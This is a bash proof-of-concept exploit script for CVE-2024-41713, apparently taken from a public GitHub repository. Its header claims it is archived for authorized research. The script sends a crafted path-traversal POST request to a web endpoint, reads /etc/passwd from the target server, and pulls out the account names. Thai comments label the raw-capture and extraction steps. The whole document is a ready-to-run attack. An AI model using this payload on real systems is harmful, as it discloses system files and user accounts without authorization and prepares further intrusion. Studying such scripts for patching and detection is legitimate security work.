#!/bin/bash # Archived for authorized security research only. # Source: https://github.com/gunyakit/CVE-2024-41713-PoC-exploit (see README for attribution/license) TARGET="https://target_ip" USERS_FILE="users.txt" DEBUG_FILE="debug_response.txt" echo "[*] Exploiting CVE-2024-41713 to read /etc/passwd ..." RESPONSE=$(curl -sk -X POST "$TARGET/npm-pwg/..;/ReconcileWizard/reconcilewizard/sc/IDACall?isc_rpc=1&isc_v=&isc_tnum=2" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "_transaction=2../../../etc/passwdsummary_reportsfetchbuiltinApplicationdownloadReportx.txtx&protocolVersion=1.0&__iframeTarget__=x") # เก็บข้อมูลดิบ echo "$RESPONSE" > "$DEBUG_FILE" # ดึงเฉพาะชื่อผู้ใช้ grep -oE '^[a-zA-Z0-9_-]+:x:[0-9]+:[0-9]+:' <<< "$RESPONSE" | cut -d: -f1 > "$USERS_FILE" echo "" if [[ -s "$USERS_FILE" ]]; then echo "[+] Extracted users from /etc/passwd:" cat "$USERS_FILE" else echo "[-] No users found. Check $DEBUG_FILE for raw response." exit 1 fi echo "" echo "[*] Done."